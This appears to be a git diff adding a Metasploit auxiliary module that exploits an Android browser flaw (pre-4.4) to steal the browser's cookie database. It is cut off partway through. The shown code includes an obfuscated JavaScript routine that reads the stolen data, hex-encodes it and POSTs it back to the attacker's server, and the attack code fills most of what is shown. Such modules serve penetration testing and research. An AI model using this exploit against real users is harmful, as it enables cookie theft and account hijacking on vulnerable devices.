diff --git a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb new file mode 100644 index 0000000000..78e781f8b0 --- /dev/null +++ b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/jsobfu' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + include Msf::Exploit::JSObfu + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Android Browser "Open in New Tab" Cookie Theft', + 'Description' => %q{ + In Android (AOSP)'s Browser application and WebView component the + "open in new tab" functionality allows a file URL to be opened. On + versions of Android before 4.4, the path to the sqlite cookie + database could be specified. By saving a cookie containing a + + + | + end + + def exfiltration_js + js_obfuscate %Q| + var x = new XMLHttpRequest(); + x.open('GET', ''); + x.responseType = 'arraybuffer'; + x.onreadystatechange = function(){ + if (x.readyState == 4) { + var buff = new Uint8Array(x.response); + var hex = Array.prototype.map.call(buff, function(d){ + var c = d.toString(16); + return (c.length < 2) ? '0'+c : c; + }).join(''); + var x2 = new XMLHttpRequest(); + x2.open('POST', '#{get_uri}/'); + x2.setRequestHeader('Content-type', 'text/plain'); + x2.send(hex); + } + }; + x.send(); + + | + end + + def inline_script + %Q| + document.cookie='#{per_run_token}=